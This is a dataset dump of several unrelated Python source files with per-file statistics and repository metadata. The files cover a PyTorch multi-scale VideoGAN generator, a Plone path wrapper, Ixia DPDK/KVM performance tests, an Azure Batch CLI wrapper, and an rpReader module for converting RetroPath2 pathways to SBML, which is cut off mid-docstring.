0.019608
0.029412
0.156863
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
50289bd0b80ac87cf8beb492031ffcf0e9d773a5
8,239
py
Python
g_net.py
wileyw/VideoGAN
d5c40ce4180b63d9dc6017a8caf19cfd63166a96
[ "MIT" ]
5
2019-01-27T21:00:19.000Z
2021-09-08T11:00:37.000Z
g_net.py
mswang12/VideoGAN
d5c40ce4180b63d9dc6017a8caf19cfd63166a96
[ "MIT" ]
2
2018-08-22T04:06:11.000Z
2019-08-01T18:56:20.000Z
g_net.py
mswang12/VideoGAN
d5c40ce4180b63d9dc6017a8caf19cfd63166a96
[ "MIT" ]
3
2019-02-17T00:41:19.000Z
2019-09-03T17:30:12.000Z
""" Implemented Vanilla GAN from this Course: http://www.cs.toronto.edu/~rgrosse/courses/csc321_2018/assignments/a4-handout.pdf """ import torch import torch.nn as nn import torch.nn.functional as F import config dtype = config.dtype class Gen1(nn.Module): def __init__(self): super(Gen1, self).__init__() # Generator #1 self.g1 = nn.ModuleList() self.deconv1 = nn.Conv2d(12, 128, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv1.weight) self.bn1 = nn.BatchNorm2d(128).type(dtype) self.deconv2 = nn.Conv2d(128, 256, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv2.weight) self.bn2 = nn.BatchNorm2d(256).type(dtype) self.deconv3 = nn.ConvTranspose2d(256, 128, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv3.weight) self.bn3 = nn.BatchNorm2d(128).type(dtype) self.deconv4 = nn.ConvTranspose2d(128, 3, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv4.weight) self.g1.append(self.deconv1) self.g1.append(self.bn1) self.g1.append(nn.ReLU()) self.g1.append(self.deconv2) self.g1.append(self.bn2) self.g1.append(nn.ReLU()) self.g1.append(self.deconv3) self.g1.append(self.bn3) self.g1.append(nn.ReLU()) self.g1.append(self.deconv4) def forward(self, x): out = x.type(dtype) for layer in self.g1: out = layer(out) return out class Gen2(nn.Module): def __init__(self): super(Gen2, self).__init__() # Generator #2 self.g1 = nn.ModuleList() self.deconv1 = nn.Conv2d(15, 128, 5, stride=1, padding=2).type(dtype) nn.init.xavier_normal(self.deconv1.weight) self.bn1 = nn.BatchNorm2d(128).type(dtype) self.deconv2 = nn.Conv2d(128, 256, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv2.weight) self.bn2 = nn.BatchNorm2d(256).type(dtype) self.deconv3 = nn.ConvTranspose2d(256, 128, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv3.weight) self.bn3 = nn.BatchNorm2d(128).type(dtype) self.deconv4 = nn.ConvTranspose2d(128, 3, 5, stride=1, padding=2).type(dtype) nn.init.xavier_normal(self.deconv4.weight) self.g1.append(self.deconv1) self.g1.append(self.bn1) self.g1.append(nn.ReLU()) self.g1.append(self.deconv2) self.g1.append(self.bn2) self.g1.append(nn.ReLU()) self.g1.append(self.deconv3) self.g1.append(self.bn3) self.g1.append(nn.ReLU()) self.g1.append(self.deconv4) def forward(self, x): out = x.type(dtype) for layer in self.g1: out = layer(out) return out class Gen3(nn.Module): def __init__(self): super(Gen3, self).__init__() # Generator #3 self.g1 = nn.ModuleList() self.deconv1 = nn.Conv2d(15, 128, 5, stride=1, padding=2).type(dtype) nn.init.xavier_normal(self.deconv1.weight) self.bn1 = nn.BatchNorm2d(128).type(dtype) self.deconv2 = nn.Conv2d(128, 256, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv2.weight) self.bn2 = nn.BatchNorm2d(256).type(dtype) self.deconv3 = nn.ConvTranspose2d(256, 512, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv3.weight) self.bn3 = nn.BatchNorm2d(512).type(dtype) self.deconv4 = nn.ConvTranspose2d(512, 256, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv4.weight) self.bn4 = nn.BatchNorm2d(256).type(dtype) self.deconv5 = nn.ConvTranspose2d(256, 128, 3, stride=1, padding=1).type(dtype) nn.init.xavier_normal(self.deconv5.weight) self.bn5 = nn.BatchNorm2d(128).type(dtype) self.deconv6 = nn.ConvTranspose2d(128, 3, 5, stride=1, padding=2).type(dtype) nn.init.xavier_normal(self.deconv4.weight) self.g1.append(self.deconv1) self.g1.append(self.bn1) self.g1.append(nn.ReLU()) self.g1.append(self.deconv2) self.g1.append(self.bn2) self.g1.append(nn.ReLU()) self.g1.append(self.deconv3) self.g1.append(self.bn3) self.g1.append(nn.ReLU()) self.g1.append(self.deconv4) self.g1.append(self.bn4) self.g1.append(nn.ReLU()) self.g1.append(self.deconv5) self.g1.append(self.bn5) self.g1.append(nn.ReLU()) self.g1.append(self.deconv6) def forward(self, x): out = x.type(dtype) for layer in self.g1: out = layer(out) return out class Gen4(nn.Module): def __init__(self): super(Gen4, self).__init__() # Generator #4 self.g1 = nn.ModuleList() self.deconv1 = nn.Conv2d(15, 128, 7, stride=1, padding=3).type(dtype) nn.init.xavier_normal(self.deconv1.weight) self.bn1 = nn.BatchNorm2d(128).type(dtype) self.deconv2 = nn.Conv2d(128, 256, 5, stride=1, padding=2).type(dtype) nn.init.xavier_normal(self.deconv2.weight) self.bn2 = nn.BatchNorm2d(256).type(dtype) self.deconv3 = nn.ConvTranspose2d(256, 512, 5, stride=1, padding=2).type(dtype) nn.init.xavier_normal(self.deconv3.weight) self.bn3 = nn.BatchNorm2d(512).type(dtype) self.deconv4 = nn.ConvTranspose2d(512, 256, 5, stride=1, padding=2).type(dtype) nn.init.xavier_normal(self.deconv4.weight) self.bn4 = nn.BatchNorm2d(256).type(dtype) self.deconv5 = nn.ConvTranspose2d(256, 128, 5, stride=1, padding=2).type(dtype) nn.init.xavier_normal(self.deconv5.weight) self.bn5 = nn.BatchNorm2d(128).type(dtype) self.deconv6 = nn.ConvTranspose2d(128, 3, 7, stride=1, padding=3).type(dtype) nn.init.xavier_normal(self.deconv4.weight) self.g1.append(self.deconv1) self.g1.append(self.bn1) self.g1.append(nn.ReLU()) self.g1.append(self.deconv2) self.g1.append(self.bn2) self.g1.append(nn.ReLU()) self.g1.append(self.deconv3) self.g1.append(self.bn3) self.g1.append(nn.ReLU()) self.g1.append(self.deconv4) self.g1.append(self.bn4) self.g1.append(nn.ReLU()) self.g1.append(self.deconv5) self.g1.append(self.bn5) self.g1.append(nn.ReLU()) self.g1.append(self.deconv6) def forward(self, x): out = x.type(dtype) for layer in self.g1: out = layer(out) return out class VideoGANGenerator(nn.Module): """This class implements the full VideoGAN Generator Network. Currently a placeholder that copies the Vanilla GAN Generator network """ def __init__(self): super(VideoGANGenerator, self).__init__() self.up1 = nn.ConvTranspose2d( 3, 3, 3, stride=2, padding=1, output_padding=1 ).type(dtype) self.up2 = nn.ConvTranspose2d( 3, 3, 3, stride=2, padding=1, output_padding=1 ).type(dtype) self.up3 = nn.ConvTranspose2d( 3, 3, 3, stride=2, padding=1, output_padding=1 ).type(dtype) # Generator #1 self.g1 = Gen1() self.g2 = Gen2() self.g3 = Gen3() self.g4 = Gen4() def forward(self, x): out = x.type(dtype) h, w = x.shape[-2:] # print('x.shape is', x.shape()) # TODO: Change the image size img1 = F.interpolate(out, size=(int(h / 8), int(w / 8))) img2 = F.interpolate(out, size=(int(h / 4), int(w / 4))) img3 = F.interpolate(out, size=(int(h / 2), int(w / 2))) img4 = out out = self.g1(img1) upsample1 = self.up1(out) out = upsample1 + self.g2(torch.cat([img2, upsample1], dim=1)) upsample2 = self.up2(out) out = upsample2 + self.g3(torch.cat([img3, upsample2], dim=1)) upsample3 = self.up3(out) out = upsample3 + self.g4(torch.cat([img4, upsample3], dim=1)) # Apply tanh at the end out = torch.tanh(out) return out
33.49187
87
0.607477
1,156
8,239
4.274221
0.106401
0.075288
0.12629
0.116576
0.825946
0.825946
0.792552
0.792552
0.779397
0.779397
0
0.079168
0.247239
8,239
245
88
33.628571
0.71751
0.047943
0
0.734807
0
0
0
0
0
0
0
0.004082
0
1
0.055249
false
0
0.022099
0
0.132597
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
504a818a9083e55e07646151de85fb8d1c20216f
6,884
py
Python
zinstance-skel/parts/instance/bin/servicewrapper.py
alexdo/docker-plone-3.3
ca2438161de90670dae8983d64eb26480cd3c7d8
[ "MIT" ]
null
null
null
zinstance-skel/parts/instance/bin/servicewrapper.py
alexdo/docker-plone-3.3
ca2438161de90670dae8983d64eb26480cd3c7d8
[ "MIT" ]
null
null
null
zinstance-skel/parts/instance/bin/servicewrapper.py
alexdo/docker-plone-3.3
ca2438161de90670dae8983d64eb26480cd3c7d8
[ "MIT" ]
null
null
null
import sys sys.path[0:0] = [ '/plone/buildout-cache/eggs/Plone-3.3.6-py2.4.egg', '/plone/buildout-cache/eggs/Products.PloneTestCase-0.9.13-py2.4.egg', '/plone/buildout-cache/eggs/Products.NuPlone-1.0b3-py2.4.egg', '/plone/buildout-cache/eggs/z3c.autoinclude-0.3.3-py2.4.egg', '/plone/buildout-cache/eggs/five.localsitemanager-1.3-py2.4.egg', '/plone/buildout-cache/eggs/five.customerize-0.3-py2.4.egg', '/plone/buildout-cache/eggs/wicked-1.1.7-py2.4.egg', '/plone/buildout-cache/eggs/plone.portlet.static-1.2.1-py2.4.egg', '/plone/buildout-cache/eggs/plone.portlet.collection-1.1.3-py2.4.egg', '/plone/buildout-cache/eggs/plone.theme-1.2-py2.4.egg', '/plone/buildout-cache/eggs/plone.session-2.1-py2.4.egg', '/plone/buildout-cache/eggs/plone.protect-1.1-py2.4.egg', '/plone/buildout-cache/eggs/plone.portlets-1.2-py2.4.egg', '/plone/buildout-cache/eggs/plone.openid-1.2-py2.4.egg', '/plone/buildout-cache/eggs/plone.memoize-1.0.4-py2.4.egg', '/plone/buildout-cache/eggs/plone.locking-1.2.1-py2.4.egg', '/plone/buildout-cache/eggs/plone.intelligenttext-1.0.3-py2.4.egg', '/plone/buildout-cache/eggs/plone.indexer-1.0-py2.4.egg', '/plone/buildout-cache/eggs/plone.i18n-1.0.10-py2.4.egg', '/plone/buildout-cache/eggs/plone.fieldsets-1.0.3-py2.4.egg', '/plone/buildout-cache/eggs/plone.contentrules-1.1.0-py2.4.egg', '/plone/buildout-cache/eggs/plone.browserlayer-1.0.1-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.workflow-1.2-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.vocabularies-1.0.8-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.viewletmanager-1.2.2-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.redirector-1.1-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.portlets-1.2.1-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.openid-1.1.1-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.locales-3.3.15-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.linkintegrity-1.0.12-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.layout-1.2.7-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.kss-1.4.5-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.iterate-1.2.5-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.i18n-1.0.8-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.form-1.1.9-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.customerize-1.1.4-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.controlpanel-1.3-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.contentrules-1.1.7-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.content-1.8-py2.4.egg', '/plone/buildout-cache/eggs/plone.app.contentmenu-1.1.7-py2.4.egg', '/plone/buildout-cache/eggs/kss.core-1.4.9-py2.4.egg', '/plone/buildout-cache/eggs/borg.localrole-2.0.1-py2.4.egg', '/plone/buildout-cache/eggs/archetypes.kss-1.4.3-py2.4.egg', '/plone/buildout-cache/eggs/Products.statusmessages-3.0.3-py2.4.egg', '/plone/buildout-cache/eggs/Products.SecureMailHost-1.1.2-py2.4.egg', '/plone/buildout-cache/eggs/Products.ResourceRegistries-1.5.7-py2.4.egg', '/plone/buildout-cache/eggs/Products.PortalTransforms-1.6.13-py2.4.egg', '/plone/buildout-cache/eggs/Products.PluginRegistry-1.1.3.1-py2.4.egg', '/plone/buildout-cache/eggs/setuptools-0.6c11-py2.4.egg', '/plone/buildout-cache/eggs/Products.PluggableAuthService-1.6.5-py2.4.egg', '/plone/buildout-cache/eggs/Products.PlonePAS-3.14-py2.4.egg', '/plone/buildout-cache/eggs/Products.PloneLanguageTool-3.0.3-py2.4.egg', '/plone/buildout-cache/eggs/Products.PlacelessTranslationService-1.5.4-py2.4.egg', '/plone/buildout-cache/eggs/Products.PasswordResetTool-1.4-py2.4.egg', '/plone/buildout-cache/eggs/Products.MimetypesRegistry-1.6.4-py2.4.egg', '/plone/buildout-cache/eggs/Products.GroupUserFolder-3.55.1-py2.4.egg', '/plone/buildout-cache/eggs/Products.GenericSetup-1.4.6-py2.4.egg', '/plone/buildout-cache/eggs/Products.ExternalEditor-1.0a1-py2.4.egg', '/plone/buildout-cache/eggs/Products.ExtendedPathIndex-2.6-py2.4.egg', '/plone/buildout-cache/eggs/Products.DCWorkflow-2.1.2-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFUid-2.1.3-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFTopic-2.1.2-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFQuickInstallerTool-2.1.8-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFPlacefulWorkflow-1.4.2-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFFormController-2.1.2-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFEditions-1.2.8-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFDynamicViewFTI-3.0.2-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFDiffTool-0.5.2-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFDefault-2.1.3-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFCore-2.1.3-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFCalendar-2.1.3-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFActionIcons-2.1.3-py2.4.egg', '/plone/buildout-cache/eggs/Products.ATContentTypes-1.3.7-py2.4.egg', '/plone/buildout-cache/eggs/Products.ATReferenceBrowserWidget-2.0.7-py2.4.egg', '/plone/buildout-cache/eggs/Products.Archetypes-1.5.17-py2.4.egg', '/plone/buildout-cache/eggs/Products.AdvancedQuery-3.0-py2.4.egg', '/plone/buildout-cache/eggs/Products.kupu-1.4.16-py2.4.egg', '/plone/buildout-cache/eggs/elementtree-1.2.7_20070827_preview-py2.4.egg', '/plone/buildout-cache/eggs/zc.buildout-1.4.4-py2.4.egg', '/plone/zinstance/fake-eggs/zope.schema', '/plone/zinstance/fake-eggs/zope.configuration', '/plone/zinstance/fake-eggs/zope.interface', '/plone/zinstance/fake-eggs/zope.dottedname', '/plone/zinstance/fake-eggs/zope.component', '/plone/zinstance/fake-eggs/zope.i18nmessageid', '/plone/zinstance/fake-eggs/zope.formlib', '/plone/buildout-cache/eggs/plone.keyring-1.2-py2.4.egg', '/plone/zinstance/fake-eggs/zope.app.container', '/plone/zinstance/fake-eggs/zope.publisher', '/plone/zinstance/fake-eggs/zope.contentprovider', '/plone/zinstance/fake-eggs/zope.annotation', '/plone/zinstance/fake-eggs/ZODB3', '/plone/buildout-cache/eggs/python_openid-2.2.5-py2.4.egg', '/plone/zinstance/fake-eggs/zope.viewlet', '/plone/zinstance/fake-eggs/zope.app.publication', '/plone/buildout-cache/eggs/feedparser-4.1-py2.4.egg', '/plone/zinstance/fake-eggs/zope.event', '/plone/buildout-cache/eggs/markdown-1.7-py2.4.egg', '/plone/zinstance/fake-eggs/zope.testing', '/plone/buildout-cache/eggs/Products.ZopeVersionControl-1.0a1-py2.4.egg', '/plone/buildout-cache/eggs/Products.CMFTestCase-0.9.11-py2.4.egg', '/plone/buildout-cache/eggs/simplejson-2.0.9-py2.4.egg', '/plone/zinstance/fake-eggs/zope.tal', '/plone/buildout-cache/eggs/Products.validation-1.6.4-py2.4.egg', '/plone/buildout-cache/eggs/Products.Marshall-1.2.1-py2.4.egg', '/plone/zinstance/fake-eggs/zope.i18n', ] if __name__ == '__main__': from Zope2.Startup import run run.run()
59.86087
84
0.733876
1,174
6,884
4.293867
0.125213
0.226939
0.314223
0.384051
0.724856
0.655426
0.647689
0.624281
0.52807
0.326721
0
0.069408
0.049826
6,884
114
85
60.385965
0.701269
0
0
0
0
0.758929
0.893085
0.891923
0
0
0
0
0
1
0
true
0.008929
0.017857
0
0.017857
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
acb02ebceccd40a2d4c47fa0e6ae6fb421734264
4,401
py
Python
serial_scripts/perf/test_ixia_perf.py
atsgen/tf-test
2748fcd81491450c75dadc71849d2a1c11061029
[ "Apache-2.0" ]
5
2020-09-29T00:36:57.000Z
2022-02-16T06:51:32.000Z
serial_scripts/perf/test_ixia_perf.py
atsgen/tf-test
2748fcd81491450c75dadc71849d2a1c11061029
[ "Apache-2.0" ]
27
2019-11-02T02:18:34.000Z
2022-02-24T18:49:08.000Z
serial_scripts/perf/test_ixia_perf.py
atsgen/tf-test
2748fcd81491450c75dadc71849d2a1c11061029
[ "Apache-2.0" ]
20
2019-11-28T16:02:25.000Z
2022-01-06T05:56:58.000Z
from base import PerfBase import time from tcutils.wrappers import preposttest_wrapper import test class PerfIxiaTest(PerfBase): @classmethod def setUpClass(cls): super(PerfIxiaTest, cls).setUpClass() @test.attr(type=['perf_DPDK','perf_ixia']) @preposttest_wrapper def test_ixia_0PPS_latency_DPDK_4core(self): return self.run_perf_tests(profile_name='pps_1_vms_latency_binary_64_200_IMIX_dpdk_4ports_new.ixncfg', proto='TCP',family='v4',cores=3,si=2,image='dpdk_l2fwd_sleep3', zone='dpdk') @test.attr(type=['perf_DPDK','perf_ixia']) @preposttest_wrapper def test_ixia_0PPS_jitter_DPDK_4core(self): return self.run_perf_tests(profile_name='pps_1_vms_jitter_binary_64_200_IMIX_dpdk_4ports_new.ixncfg', proto='TCP',family='v4',cores=3,si=2,image='dpdk_l2fwd_sleep3', zone='dpdk') @test.attr(type=['perf_DPDK','perf_ixia']) @preposttest_wrapper def test_ixia_PPS_1460latency_DPDK_4core(self): return self.run_perf_tests(profile_name='pps_1_vms_latency_binary_1460_dpdk_4ports.ixncfg', proto='TCP',family='v4',cores=3,si=2,image='dpdk_l2fwd_sleep3', zone='dpdk',encap='MPLSoUDP') @test.attr(type=['perf_DPDK','perf_ixia']) @preposttest_wrapper def test_ixia_PPS_1460jitter_DPDK_4core(self): return self.run_perf_tests(profile_name='pps_1_vms_jitter_binary_1460_dpdk_4ports.ixncfg', proto='TCP',family='v4',cores=3,si=2,image='dpdk_l2fwd_sleep3', zone='dpdk',encap='MPLSoUDP') @test.attr(type=['perf_DPDK','perf_ixia']) @preposttest_wrapper def test_ixia_0PPS_jitter_DPDK_4core_v6(self): return self.run_perf_tests(profile_name='pps_1_vms_jitter_binary_64_200_IMIX_dpdk_4ports_ipv6.ixncfg', proto='TCP',family='dual',cores=3,si=2,image='dpdk_l2fwd_sleep3',zone='dpdk') @test.attr(type=['perf_DPDK','perf_ixia']) @preposttest_wrapper def test_ixia_0PPS_latency_DPDK_4core_v6(self): return self.run_perf_tests(profile_name='pps_1_vms_latency_binary_64_200_IMIX_dpdk_4ports_ipv6.ixncfg', proto='TCP',family='dual',cores=3,si=2,image='dpdk_l2fwd_sleep3',zone='dpdk') @test.attr(type=['perf_DPDK','perf_ixia']) @preposttest_wrapper def test_ixia_1460_PPS_jitter_DPDK_4core_v6(self): return self.run_perf_tests(profile_name='pps_1_vms_jitter_binary_1460_dpdk_4ports_ipv6.ixncfg', proto='TCP',family='dual',cores=3,si=2,image='dpdk_l2fwd_sleep3',zone=dpdk,encap='MPLSoUDP') @test.attr(type=['perf_DPDK','perf_ixia']) @preposttest_wrapper def test_ixia_1460_PPS_latency_DPDK_4core_v6(self): return self.run_perf_tests(profile_name='pps_1_vms_latency_binary_1460_dpdk_4ports_ipv6.ixncfg', proto='TCP',family='dual',cores=3,si=2,image='dpdk_l2fwd_sleep3',zone=dpdk,encap='MPLSoUDP') @test.attr(type=['perf_KVM','perf_ixia']) @preposttest_wrapper def test_ixia_PPS_latency_KVM(self): return self.run_perf_tests(profile_name='pps_1_vms_latency_binary_64_200_IMIX_kvm_4ports.ixncfg', proto='TCP',family='v4',cores=2,si=3,image='perf-ubuntu-1404') @test.attr(type=['perf_KVM','perf_ixia']) @preposttest_wrapper def test_ixia_PPS_jitter_KVM(self): return self.run_perf_tests(profile_name='pps_1_vms_jitter_binary_64_200_IMIX_kvm_4ports.ixncfg', proto='TCP',family='v4',cores=2,si=3,image='perf-ubuntu-1404') @test.attr(type=['perf_KVM','perf_ixia']) @preposttest_wrapper def test_ixia_PPS_1460latency_KVM_4core_mplsoudp(self): return self.run_perf_tests(profile_name='pps_1_vms_latency_binary_1460_kvm_4ports.ixncfg', proto='TCP',family='v4',cores=2,si=3,image='perf-ubuntu-1404',encap='MPLSoUDP') @test.attr(type=['perf_KVM','perf_ixia']) @preposttest_wrapper def test_ixia_PPS_1460jitter_KVM_4core_mplsoudp(self): return self.run_perf_tests(profile_name='pps_1_vms_jitter_binary_1460_kvm_4ports.ixncfg', proto='TCP',family='v4',cores=2,si=3,image='perf-ubuntu-1404',encap='MPLSoUDP')
50.586207
128
0.685299
617
4,401
4.471637
0.105348
0.084813
0.052193
0.06959
0.934759
0.934759
0.934759
0.934759
0.934759
0.919536
0
0.052839
0.191547
4,401
86
129
51.174419
0.722597
0
0
0.529412
0
0
0.270061
0.144578
0
0
0
0
0
1
0.191176
false
0
0.058824
0.176471
0.441176
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
7
4a02f6c4427b1f8cc3b8a15fdf9d91034fcfcdda
1,326
py
Python
pyaz/batch/application/summary/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/batch/application/summary/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
null
null
null
pyaz/batch/application/summary/__init__.py
py-az-cli/py-az-cli
9a7dc44e360c096a5a2f15595353e9dad88a9792
[ "MIT" ]
1
2022-02-03T09:12:01.000Z
2022-02-03T09:12:01.000Z
''' View a summary of Batch application packages. ''' from .... pyaz_utils import _call_az def list(account_endpoint=None, account_key=None, account_name=None): ''' Lists all of the applications available in the specified account. Optional Parameters: - account_endpoint -- Batch service endpoint. Alternatively, set by environment variable: AZURE_BATCH_ENDPOINT - account_key -- Batch account key. Alternatively, set by environment variable: AZURE_BATCH_ACCESS_KEY - account_name -- Batch account name. Alternatively, set by environment variable: AZURE_BATCH_ACCOUNT ''' return _call_az("az batch application summary list", locals()) def show(application_id, account_endpoint=None, account_key=None, account_name=None): ''' Gets information about the specified application. Required Parameters: - application_id -- The ID of the Application. Optional Parameters: - account_endpoint -- Batch service endpoint. Alternatively, set by environment variable: AZURE_BATCH_ENDPOINT - account_key -- Batch account key. Alternatively, set by environment variable: AZURE_BATCH_ACCESS_KEY - account_name -- Batch account name. Alternatively, set by environment variable: AZURE_BATCH_ACCOUNT ''' return _call_az("az batch application summary show", locals())
41.4375
114
0.757919
164
1,326
5.914634
0.27439
0.061856
0.11134
0.179381
0.731959
0.731959
0.731959
0.731959
0.731959
0.63299
0
0
0.167421
1,326
31
115
42.774194
0.878623
0.683258
0
0
0
0
0.193548
0
0
0
0
0
0
1
0.4
false
0
0.2
0
1
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
4a152f155212227dc270e96f702c5b3cf3cec0f9
21,431
py
Python
rpToolServe.py
Galaxy-SynBioCAD/rpReader_image
bf3c99cbda063001980fbc40463fd45bd2cb88f3
[ "MIT" ]
null
null
null
rpToolServe.py
Galaxy-SynBioCAD/rpReader_image
bf3c99cbda063001980fbc40463fd45bd2cb88f3
[ "MIT" ]
null
null
null
rpToolServe.py
Galaxy-SynBioCAD/rpReader_image
bf3c99cbda063001980fbc40463fd45bd2cb88f3
[ "MIT" ]
null
null
null
import os import copy import sys import io import tarfile import libsbml import glob import tempfile import logging import shutil sys.path.insert(0, '/home/') import rpTool as rpReader import rpCache # TODO: need to fix the input def rp2Reader_mem(rpreader, rp2_pathways, rp2paths_pathways, rp2paths_compounds, upper_flux_bound, lower_flux_bound, maxRuleIds, pathway_id, compartment_id, species_group_id, sink_species_group_id, pubchem_search, outputTar): """The main function to parse the files without writing to HDD :param rpreader: rpReader object :param rp2_pathways: The RetroPath2.0 results scope file :param rp2paths_pathways: The rp2paths result pathway (out_paths) file :param rp2paths_compounds: The rp2paths result compounds file :param upper_flux_bound: The default upper flux bound (Default: 999999) :param lower_flux_bound: The default lower flux bound (Default: 0) :param maxRuleIds: The maximal number of rules associated with each step (Default: 2) :param pathway_id: The Groups heterologous pathway id (Default: rp_pathway) :param compartment_id: The compartment SBML id (Default: MNXC3) :param species_group_id: The Groups id of the central species (Default: central_species) :param sink_species_group_id: The Groups id of the rp_sink_species (Default: rp_sink_species) :param pubchem_search: Use the pubchem database to search for missing cross reference (Default: False) :param outputTar: The output collection of rpSBML files :type rpreader: rpReader :type rp2_pathways: str :type rp2paths_pathways: str :type rp2paths_compounds: str :type upper_flux_bound: int :type lower_flux_bound: int :type maxRuleIds: int :type pathway_id: str :type compartment_id: str :type species_group_id: str :type sink_species_group_id: str :type pubchem_search: bool :type outputTar: str :rtype: bool :return: Success or failure of the function """ rpsbml_paths = rpreader.rp2ToSBML(rp2_pathways, rp2paths_pathways, rp2paths_compounds, None, upper_flux_bound, lower_flux_bound, maxRuleIds, pathway_id, compartment_id, species_group_id, sink_species_group_id, pubchem_search) #pass the SBML results to a tar if rpsbml_paths=={}: logging.error('rpReader did not generate any results') return False #outputTar = io.BytesIO() #with open(outputTar, 'w:xz') as tf: with tarfile.open(fileobj=outputTar, mode='w:gz') as tf: for rpsbml_name in rpsbml_paths: data = libsbml.writeSBMLToString(rpsbml_paths[rpsbml_name].document).encode('utf-8') fiOut = io.BytesIO(data) info = tarfile.TarInfo(name=rpsbml_name) info.size = len(data) tf.addfile(tarinfo=info, fileobj=fiOut) return True def rp2Reader_hdd(rpreader, rp2_pathways, rp2paths_pathways, rp2paths_compounds, upper_flux_bound, lower_flux_bound, maxRuleIds, pathway_id, compartment_id, species_group_id, sink_species_group_id, pubchem_search, outputTar): """The main function to parse the files by writing them to HDD :param rpreader: rpReader object :param rp2_pathways: The RetroPath2.0 results scope file :param rp2paths_pathways: The rp2paths result pathway (out_paths) file :param rp2paths_compounds: The rp2paths result compounds file :param upper_flux_bound: The default upper flux bound (Default: 999999) :param lower_flux_bound: The default lower flux bound (Default: 0) :param maxRuleIds: The maximal number of rules associated with each step (Default: 2) :param pathway_id: The Groups heterologous pathway id (Default: rp_pathway) :param compartment_id: The compartment SBML id (Default: MNXC3) :param species_group_id: The Groups id of the central species (Default: central_species) :param sink_species_group_id: The Groups id of the rp_sink_species (Default: rp_sink_species) :param pubchem_search: Use the pubchem database to search for missing cross reference (Default: False) :param outputTar: The output collection of rpSBML files :type rpreader: rpReader :type rp2_pathways: str :type rp2paths_pathways: str :type rp2paths_compounds: str :type upper_flux_bound: int :type lower_flux_bound: int :type maxRuleIds: int :type pathway_id: str :type compartment_id: str :type species_group_id: str :type sink_species_group_id: str :type pubchem_search: bool :type outputTar: str :rtype: bool :return: Success or failure of the function """ logging.debug(maxRuleIds) # check that the files are not empty if sum(1 for line in open(rp2paths_compounds))<=1: logging.error('RP2paths compounds is empty') return False if sum(1 for line in open(rp2_pathways))<=1: logging.error('RP2 pathways is empty') return False if sum(1 for line in open(rp2paths_pathways))<=1: logging.error('RP2paths pathways is empty') return False with tempfile.TemporaryDirectory() as tmpOutputFolder: #Note the return here is {} and thus we can ignore it rpsbml_paths = rpreader.rp2ToSBML(rp2_pathways, rp2paths_pathways, rp2paths_compounds, tmpOutputFolder, upper_flux_bound, lower_flux_bound, maxRuleIds, pathway_id, compartment_id, species_group_id, sink_species_group_id, pubchem_search) if len(glob.glob(tmpOutputFolder+'/*'))==0: logging.error('rpReader did not generate any results') return False with tarfile.open(outputTar, mode='w:gz') as ot: for sbml_path in glob.glob(tmpOutputFolder+'/*'): fileName = str(sbml_path.split('/')[-1].replace('.sbml', '').replace('.rpsbml', '').replace('.xml', ''))+'.sbml.xml' info = tarfile.TarInfo(fileName) info.size = os.path.getsize(sbml_path) ot.addfile(tarinfo=info, fileobj=open(sbml_path, 'rb')) return True ''' # DEPRECATED: Needs to be implemmented def main_string(outputTar, upper_flux_bound=999999, lower_flux_bound=0, maxRuleIds=2, compartment_id='MNXC3', pathway_id='rp_pathway', species_group_id='central_species'): #pass the cache parameters to the rpReader rpcache = rpCache.rpCache() rpreader = rpReader.rpReader() rpreader.deprecatedCID_cid = rpcache.getDeprecatedCID() 